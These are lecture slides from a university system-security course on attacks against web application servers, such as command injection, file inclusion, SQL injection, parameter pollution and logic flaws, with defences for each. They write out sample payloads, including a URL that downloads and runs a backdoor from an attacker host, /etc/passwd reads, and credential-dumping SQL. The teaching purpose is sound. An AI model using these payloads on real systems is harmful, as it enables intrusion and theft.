CSE509 System Security

Attacks against the server-side of web applications

Nick Nikiforakis
nick@cs.stonybrook.edu
Threat model

• In these scenarios:
  – The server is benign
  – The client is malicious
    • The client can send arbitrary requests to the server, not bound by the HTML interfaces

• The attacker is after information at the server-side
  – Steal databases
  – Gain access to server
  – Manipulate server-side programs for gain
<table>
<thead>
<tr>
<th>A1 – Injection</th>
</tr>
</thead>
<tbody>
<tr>
<td>A2 – Broken Auth and Session Management</td>
</tr>
<tr>
<td>A3 – Cross-site Scripting</td>
</tr>
<tr>
<td>A4 – Insecure Direct Object References</td>
</tr>
<tr>
<td>A5 – Security misconfiguration</td>
</tr>
<tr>
<td>A6 – Sensitive Data Exposure</td>
</tr>
<tr>
<td>A7 – Missing function level access control</td>
</tr>
<tr>
<td>A8 – Cross-site Request Forgery</td>
</tr>
<tr>
<td>A9 – Using components with kn. vulnerabilities</td>
</tr>
<tr>
<td>A10 – Unvalidated redirects and Forwards</td>
</tr>
</tbody>
</table>
Imagine a server-side calendar

```php
$year = $_GET['year'];
print "<pre>";
system("cal $year");
print "</pre>";
?>
```

system("cal 2012");
What if we, as the script programmers, blacklist the semicolon? Will it solve our problems?
http://example.com/cal.php?year=2012&&cat /etc/passwd

```
root:x:0:0:root:/root:/bin/bash
deacon:x:1:1:deacon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
```
http://example.com/cal.php?year=2012 %2626wget
www.attacker.com/backdoor.sh –O/tmp/back.sh%2626chmod+x /tmp/back.sh%26%26/tmp/back.sh

Injected commands does the following:
• Downloads backdoor script from attacker’s server
• Makes it executable
• Executes it

Backdoor is now running with the permissions of the web server user on the web server
Remote Command Execution

• These were examples of a vulnerability belonging to the class of “Remote Command Execution”

• One of the more deadly attacks
  – Attacker has foothold on server
  – This foothold can be used to (among others): steal data, connect to other machines internal to the network, or try to become root
Defenses

• Defense should not be blacklisting
  – Hard to do comprehensively (&,*`,$,( ... )
  – Problems with applications that need access to the things that you blacklist

• Sanitization is the correct step
  – We saw this again in XSS where we said that the characters needed to be properly escaped
  – E.g. Place parameters in single quotes and escape existing single quotes that are part of the payload
  – Frameworks provide functions to help, e.g., `escapeshellarg()` in PHP
Question

• Can we rely on sanitization of the arguments using JavaScript at the client-side?
  – E.g. use JavaScript to add quotes to the value of the year variable, as the attacker types it in a specific HTML input field

• NO!!!!!!
  – The attacker is the client, and can send arbitrary input to us (e.g. remove JavaScript, or just create requests by hand/through another program)
<?php
$file = $_GET['f'];
if(isset($file))
{
    include("pages/$file");
}
else
{
    include("index.php");
}
?>
Local File Inclusion

Intended use:

Unintended use:
• http://example.com/index.php?f=../../../../../etc/passwd

So now an attacker can read text files located on the system which are readable by the web server process
Down the rabbit hole

<?php
    $file = $_GET['f'];
    if(isset($file))
    {
        include($file . "php");
    }
    else
    {
        include("index.php");
    }
?>
Remote File Inclusion

Intended use:
• http://example.com/index.php?f=contactus

Unintended use:

So now an attacker can also run arbitrary PHP commands on the server
Defenses

• Filter input
  – Good but must account for more exotic attacks (e.g. different encodings of dots and slashes)

• Use known white list
  – Much better but involves more work
  – E.g. file can be one of [“news”, “contactus”, “main”]
    • If the request matches, great. If not, drop it.
## OWASP Top 10

<table>
<thead>
<tr>
<th>A1 – Injection</th>
</tr>
</thead>
<tbody>
<tr>
<td>A2 – Broken Auth and Session Management</td>
</tr>
<tr>
<td>A3 – Cross-site Scripting</td>
</tr>
<tr>
<td>A4 – Insecure Direct Object References</td>
</tr>
<tr>
<td>A5 – Security misconfiguration</td>
</tr>
<tr>
<td>A6 – Sensitive Data Exposure</td>
</tr>
<tr>
<td>A7 – Missing function level access control</td>
</tr>
<tr>
<td>A8 – Cross-site Request Forgery</td>
</tr>
<tr>
<td>A9 – Using components with kn. vulnerabilities</td>
</tr>
<tr>
<td>A10 – Unvalidated redirects and Forwards</td>
</tr>
</tbody>
</table>
Different name, same beast

```php
<?php

$user = $_POST['username'];
$pass = $_POST['password'];

$res = mysql_query("SELECT * from members
where username = '{$user}' and password = 'pass'");

[...]

?>
```
Different name, same beast

If the user submits:

- **Username**: Jack
- **Password**: letmein

Then the query becomes

```
SELECT * from members where
username = 'Jack' and password = 'letmein'
```
SQL Injection

What if an attacker submits:

- **Username**: administrator’--
- **Password**: doesnotmatter

Then the query becomes

```sql
SELECT * from members where
username = 'administrator'--' and password = 'doesnotmatter'
```

Comment operator for some SQL databases
SQL Injection

In an eshop with the following:

```
SELECT * from products where pid = $_GET['pid']
```

An attacker could construct the following input:

```
Pid= -9999 UNION ALL SELECT
username,password,3,4,5 from members;
```

Allowing him to list credentials from different tables in the SQL database
Compulsory XKCD cartoon

http://xkcd.com/327/
Defenses

• As before, sanitization should be used to stop the attack
  – E.g. knowing that a value should only be an integer, allows you to wrap it in the intval() function

• More generically, for SQL, prepared statements are considered the best way of defending
Prepared statements

```php

mysql_query("SELECT * from members where username = '{$user}' and password = '{$pass}');
```

Now becomes

```php

$stmt = $conn->prepare("SELECT * from members where username=? and password=?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$res = $stmt->get_result();
```
# OWASP Top 10

<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>A1</strong> – Injection</td>
<td><strong>A2</strong> – Broken Auth and Session Management</td>
</tr>
<tr>
<td><strong>A3</strong> – Cross-site Scripting</td>
<td><strong>A4</strong> – Insecure Direct Object References</td>
</tr>
<tr>
<td><strong>A5</strong> – Security misconfiguration</td>
<td><strong>A6</strong> – Sensitive Data Exposure</td>
</tr>
<tr>
<td><strong>A7</strong> – Missing function level access control</td>
<td><strong>A8</strong> – Cross-site Request Forgery</td>
</tr>
<tr>
<td><strong>A9</strong> – Using components with known vulnerabilities</td>
<td><strong>A10</strong> – Unvalidated redirects and Forwards</td>
</tr>
</tbody>
</table>
Injection (still)

• Web servers, in addition to sending SQL requests to internal SQL servers can also send HTTP requests to internal (or external) servers

• If these requests contain user-controlled input, an attacker could trick the server to:
  – Send requests to arbitrary internal/external servers (Server-side redirection)
  – Overwrite existing parameters in those internal requests (HTTP Parameter Pollution)
Injection (Server-side Redirection)

• In a server-side redirection attack, attackers are able to specify an arbitrary resource or URL that is then requested by the front-end web application

```
POST /account/home HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: vulnerable.com
Content-length: 65

view=default&loc=online.foo.net/css/style.css
```
Injection (Server-side Redirection)

- In a server-side redirection attack, attackers are able to specify an arbitrary resource or URL that is then requested by the front-end web application.

```
POST /account/home HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: vulnerable.com
Content-length: 65

view=default&loc=online.foo.net/css/style.css
```
Injection (Server-side Redirection)

• In a server-side redirection attack, attackers are able to specify an arbitrary resource or URL that is then requested by the front-end web application

```
POST /account/home HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: vulnerable.com
Content-length: 65

view=default&loc=192.168.0.1:22
```
Injection (HTTP Parameter Pollution)

• HTTP Parameter Injection (HPI) can occur when user-supplied parameters are used as parameters in new HTTP requests towards backends
  – These requests are done by the web server (not by the user/attacker)

• The goal is to confuse the backend webserver and get it to use the parameter controlled by the attacker instead of the one sent by the application
Injection (HTTP Parameter Pollution)

• The reason why HPI exists is because the HTTP specification is not explicit about what servers should do when they receive a request having two parameters with the same name

• http://www.example.com?foo=1&bar=yes&foo=2

• At the server-side, what should the value of the foo variable be?
  – 1, 2, “12”, [1,2]?

• It turns out that different combinations of web server/server-side languages do different things
Injection (HTTP Parameter Pollution)

• Depending on the configuration, an attacker may be able to override the value specified in the backend HTTP request
Injection (HTTP Parameter Pollution)

1. **Attacker to public-facing webserver**
   - POST /bank/52/Default.aspx HTTP/1.1
   - Content-Type: application/x-www-form-urlencoded
   - Host: acmebank.com
   - Content-length: 65

   fromAcc=123456&amount=1000&toAcc=654321&Submit=Submit

2. **Public-facing webserver to internal webserver**
   - POST /doTransfer.asp HTTP/1.1
   - Host: internal.acmebank.com
   - Content-length: 72

   FROM=123456&clearedfunds=false&AMOUNT=1000&TO=654321
Injection (HTTP Parameter Pollution)

**Attacker to public-facing webserver**

1. POST /bank/52/Default.aspx HTTP/1.1
   Content-Type: application/x-www-form-urlencoded
   Host: acmebank.com
   Content-length: 65

   fromAcc=123456%26clearedfunds=true&amount=1000&toAcc=654321&Submit=Submit

**Public-facing webserver to internal webserver**

2. POST /doTransfer.asp HTTP/1.1
   Host: internal.acmebank.com
   Content-length: 72

   FROM=123456&clearedfunds=true&clearedfunds=false&AMOUNT=1000&TO=654321
<table>
<thead>
<tr>
<th>A1</th>
<th>Injection</th>
</tr>
</thead>
<tbody>
<tr>
<td>A2</td>
<td>Broken Auth and Session Management</td>
</tr>
<tr>
<td>A3</td>
<td>Cross-site Scripting</td>
</tr>
<tr>
<td><strong>A4</strong></td>
<td>Insecure Direct Object References</td>
</tr>
<tr>
<td>A5</td>
<td>Security misconfiguration</td>
</tr>
<tr>
<td>A6</td>
<td>Sensitive Data Exposure</td>
</tr>
<tr>
<td>A7</td>
<td>Missing function level access control</td>
</tr>
<tr>
<td>A8</td>
<td>Cross-site Request Forgery</td>
</tr>
<tr>
<td>A9</td>
<td>Using components with kn. vulnerabilities</td>
</tr>
<tr>
<td>A10</td>
<td>Unvalidated redirects and Forwards</td>
</tr>
</tbody>
</table>
Insecure Direct Object References

• Imagine you login to your bank account, and there’s a link that allows you to see last month’s statement:

• In insecure direct object reference, the application exposes a direct reference to an object which can allow attacker to bypass authorization, e.g.,
  • http://bank.com/get_last_statement.php?u=976654
  • http://bank.com/get_last_statement.php?u=976653
  • http://bank.com/get_last_statement.php?u=976652
Defenses

• Wrap direct object references into session-specific aliases

```php
$_SESSION['refs'] = array(
    1 => "2109",
    2 => "2189",
);
```

• “De-reference” the user-provided values through this table
HTTP Parameter Tampering Vulnerabilities

• In all of these attacks, it’s important to remember that the client is the attacker, and the server is the potential victim.

• In HTTP Parameter tampering, an attacker can arbitrarily change the values of parameters that are exposed to him.
  – E.g. prices of products, current auth level, etc.
Welcome to A Clean Well-Lighted Place for Books

Your Shopping Cart

<table>
<thead>
<tr>
<th>Qty</th>
<th>Description</th>
<th>Price</th>
<th>Remove</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Linux Security for Large-Scale Enterprise Networks</td>
<td>$-59.99</td>
<td>Remove</td>
</tr>
<tr>
<td></td>
<td>Becker, Jamieson</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>1555582923 Paperback</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Special Order</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Total: $-59.99

- Secure communications
- Insecure software
Logic Vulnerabilities

• HTTP parameter tampering vulnerabilities are a subset of logic vulnerabilities in web applications

• Logic vulnerabilities typically rely on breaking assumptions made by architects and developers

• Assumptions
  – Step 2 can only be performed after Step 1
  – The web application controls the navigation steps
  – Users cannot change parameters that they cannot see
  – Etc.
Examples of logic vulnerabilities

• Unlike XSS, SQL Injection, etc. logic vulnerabilities do not have set “signatures”

• This makes them hard to identify, especially by automated vulnerability discovery tools

• We will see a few real-world examples based on the book “The Web Application Hackers Handbook”
Case Study: Password change

• A website allows its users to change their password, by filling out a form with their current password, and their new password

• Administrators can also change a user’s password but they don’t need to provide a user’s current password

```java
String existingPassword = request.getParameter("existingPassword");
if (null == existingPassword)
{
    trace("Old password not supplied, must be an administrator");
    return true;
}
else
{
    trace("Verifying user's old password");
    ...
```
Case Study: Password change

• The code that handles these two cases is the same and the developer assumes that if the “existingPassword” parameter is not present, this must be because the current request came from an administrative UI.

• All the attackers has to do is drop the “existingPassword” HTTP parameter from the outgoing request.
Case Study: Business Limit

• A business does not want its finance personnel to be able to transfer funds between accounts that exceed a certain threshold, without approval

```cpp
bool CAuthCheck::RequiresApproval(int amount)
{
    if (amount <= m_apprThreshold)
        return false;
    else return true;
}
```
Case Study: Business Limit

• The code allows negative transfers from A to B which the transaction module interprets as a positive transfer from B to A

• Therefore a malicious employee (or an attacker who has stolen his credentials) can initiate a transfer for say -$20,000 and bypass the transfer limit
Case Study: Bulk Discounts

• An online shop gives users discounts when they buy some products together
  – E.g. If you purchase an antivirus solution, and a personal firewall, and antispam software then you are entitled to 25% discount on each product

• Abuse
  – Add all products in your basket to get the discount and then remove the ones you don’t want
Case Study: Escaping from escaping

• A web application has to pass user-controllable input as an argument to an operating system command.

• The developer creates a list of special shell metacharacters that need escaping
  – ; | & < > ‘ space and newline

• If any of these are present in the input, the code escapes them by prepending them with a backslash
  – \
Case Study: Escaping from escaping

• If an attacker types
  – foo;ls

• The code converts it to
  – foo\\;ls

• What if an attacker types an escape character
  – foo\\;ls

• Will become
  – foo\\;ls

• Which amounts to escaping the backslash but not the semicolon
Case Study: Invalidating input validation

• A web application has two filtering mechanisms aimed at stopping abuse
  – Filter 1: Escape single quotes with an additional quote as a means of invalidating SQL injections
    • ‘admin– becomes “admin--”
  – Filter 2: Prune all user inputs to 128 characters

• Abuse
  – Submit 128 character SQL injection with the last character being a single quote
  – Filter 1 will escape the single quote by adding another quote, thereby making the string 129 bytes long
  – Filter 2 will prune the string to 128 bytes and remove the extra escaping quote, making the SQL injection valid again
Defenses

• Do not rely on anything that the client-sends
  – Double check all values and rely on clean server-side copies
  – This goes for control-data (e.g. is the user an admin) as well as non-control data (how much does product x cost)

• Do not assume a navigation order

• Once again, making checks through JavaScript is okay but these checks should be replicated at the server side
  – E.g. are the quantities > 0, fetching the prices from the server-side DB, etc.
Questions?